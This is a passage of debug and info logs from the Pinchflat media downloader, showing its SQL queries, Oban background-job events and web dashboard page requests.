m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:51:56.200 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:51:56.201 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:51:56.202 [debug] QUERY OK source="tasks" db=0.2ms idle=1.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17077, 1, ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z]] 18:51:56.202 [info] {"args":{"id":1},"id":17074,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":14051404,"event":"job:stop","queue_time":125742,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:52:00.148 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:52:17.660 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:47.662 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.149 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:53:17.664 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:47.666 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.150 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:54:17.668 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:47.670 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.151 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:55:17.672 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:47.674 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.152 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:56:12.998 [info] GET / 18:56:12.999 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:56:12.999 [debug] QUERY OK source="settings" db=0.1ms idle=1310.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:12.999 [debug] QUERY OK source="media_profiles" db=0.1ms idle=490.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:56:13.000 [debug] QUERY OK source="sources" db=0.1ms idle=311.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:56:13.001 [debug] QUERY OK source="media_items" db=1.0ms idle=311.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:56:13.001 [debug] QUERY OK source="media_items" db=0.4ms idle=312.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:56:13.002 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.002 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.003 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.003 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:56:13.004 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:56:13.005 [debug] QUERY OK source="media_items" db=0.4ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:56:13.005 [debug] QUERY OK source="sources" db=0.2ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:56:13.008 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:56:13.009 [debug] QUERY OK source="media_items" db=0.9ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:56:13.009 [info] Sent 200 in 10ms 18:56:13.324 [info] GET /sources 18:56:13.324 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 18:56:13.324 [debug] QUERY OK source="settings" db=0.1ms idle=320.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.325 [debug] QUERY OK source="settings" db=0.1ms idle=319.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.325 [debug] QUERY OK source="settings" db=0.1ms idle=319.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.326 [debug] QUERY OK source="settings" db=0.1ms idle=317.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.326 [debug] QUERY OK source="settings" db=0.1ms idle=317.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.328 [debug] QUERY OK source="sources" db=1.6ms idle=2.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 18:56:13.330 [debug] QUERY OK source="sources" db=2.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 18:56:13.337 [info] GET /sources/2/media/366904 18:56:13.337 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "366904", "source_id" => "2"} Pipelines: [:browser] 18:56:13.337 [info] GET /sources/2 18:56:13.337 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 18:56:13.337 [info] GET /sources/2/media/482073 18:56:13.337 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "482073", "source_id" => "2"} Pipelines: [:browser] 18:56:13.337 [info] Sent 200 in 13ms 18:56:13.337 [debug] QUERY OK source="media_items" db=0.4ms idle=11.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [366904] 18:56:13.337 [info] GET /settings 18:56:13.338 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 18:56:13.338 [debug] QUERY OK source="sources" db=0.5ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.338 [debug] QUERY OK source="media_items" db=0.6ms idle=11.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 18:56:13.339 [debug] QUERY OK source="tasks" db=1.2ms queue=0.1ms idle=9.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [366904] 18:56:13.339 [debug] QUERY OK source="settings" db=1.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.339 [debug] QUERY OK source="media_profiles" db=1.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.339 [debug] QUERY OK source="tasks" db=0.9ms idle=0.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [482073] 18:56:13.339 [debug] QUERY OK source="sources" db=1.6ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.340 [debug] QUERY OK source="sources" db=0.6ms queue=0.6ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.340 [debug] QUERY OK source="settings" db=0.4ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.340 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=0.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [13037, 13319] 18:56:13.341 [debug] QUERY OK source="settings" db=0.6ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.341 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=0.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [16832] 18:56:13.341 [debug] QUERY OK source="settings" db=0.6ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.341 [debug] QUERY OK source="settings" db=0.4ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.342 [debug] QUERY OK source="settings" db=0.9ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.343 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.343 [info] GET /media_profiles 18:56:13.343 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 18:56:13.343 [info] Sent 200 in 5ms 18:56:13.343 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 